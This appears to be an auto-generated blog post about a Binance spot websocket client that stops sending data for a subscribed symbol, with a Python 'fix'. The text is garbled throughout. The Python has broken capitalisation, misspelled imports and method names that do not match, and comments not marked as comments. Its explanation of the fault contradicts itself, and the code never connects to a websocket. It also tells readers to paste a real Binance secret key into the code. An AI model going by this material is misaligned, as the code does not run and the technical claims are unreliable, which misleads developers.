Ethereum: Binance spot web socket client not Sending Responses for a Subscribed Symbol
As a cryptocurrency trader, getting real-time updates from a reliable source is crucial to making informed decisions. One Such Source is The Binance Spot Websocket API, which Provides a Way to Connect to the Ethereum Blockchain and Receive Market Data in real time. However, when using the binance spot web socket client 'library, there's an issue that can prevent it from sending response for subscribed symbols.
The issue: Subscription unsubscribed
In Your Code Snippet, You're Creating A New Instance of theSpotwebsocketClient 'Class and Passing in the Subscription Details. However, when you subscribe to a specific symbol using the subscribe method, you might not be explicitly unsubscribing from it afterwards. If this happens, the client will continuously to send data for that subscribed symbol just after you've removed yourself from the list.
The Solution: Using Unsubscribe method
To Resolve This Issue, You Should Always Call the Unsubscribe method when unsubscribing from a subscription. Here's an updated version of your code with this fix:
`Python
import json
import detime
from binance.websocket.spot.websocket_client import spot web socket client
Def Safe_json_load (Data):
Return data
Def Safe_json_Dump (Data):
Return json.dumps (data)
Class BinanceSpotwebsocketClient:
Def __init __ (self, Symbol, Secretkey, Apiendpoint):
Self.Symbol = Symbol
self.secretkey = secretkey
self.Apiendpoint = apiendpoint
self.subscriptions = {}
Def Subscribe (Self, Symbol, Callback = None):
if symbol not in self.subscriptions:
self.subscriptions [symbol] = none
response = safe_json_load (callback)
if response is none:
Raise Valueerror ("Invalid Subscription")
self._subscript (Symbol, Response)
Def Unsubscribe (Self, Symbol):
if symbol not in self.subscriptions:
return
del self.subscriptions [Symbol]
Call the callback function to trigger an unsubscribed event
if symbol in self.callback functions:
self.callback functions [Symbol] ()
Def _subScrive (self, symbol, data):
This method is called when a subscription is created
Print (F "Subscribed to {Symbol} for real-time updates")
Def Sendraltimedata (Self, Symbol):
This method can be used to retrieve real-time data for a specific symbol
pass
Usage Example:
Client = BinanceSpot web socket client (
"Eth",
Symbol
"Your_secret_key",
Secret Key
"
api endpoint
)
Def unrealtimedatareceived (data):
Print (f "{Data [" Symbol "]} updated to {Data [" Newprice "]}")
Client.subscript ("ETH", unrealtimedatareceived)
Testing the code
You can test this code by running it in a Jupyter Notebook. Make Sure You Have Installed Binance Library and also Make Sure That You Have replaced"Your_secret_key"With Your Actual Binance Secret Key.
Once you've created an instance of the binance spot web socket counterclient, you can subscriber to a specific symbol using thesubscribe method, which will trigger real-time data updates for that symbol. You can then unsubscribe from a subscription by Calling the Unsubscribe method when you're ready to stop recoiving updates.
By following thesis steps, you should be able to resolve the issue with your code and ensure that it's sending responses for subscribed symbols.
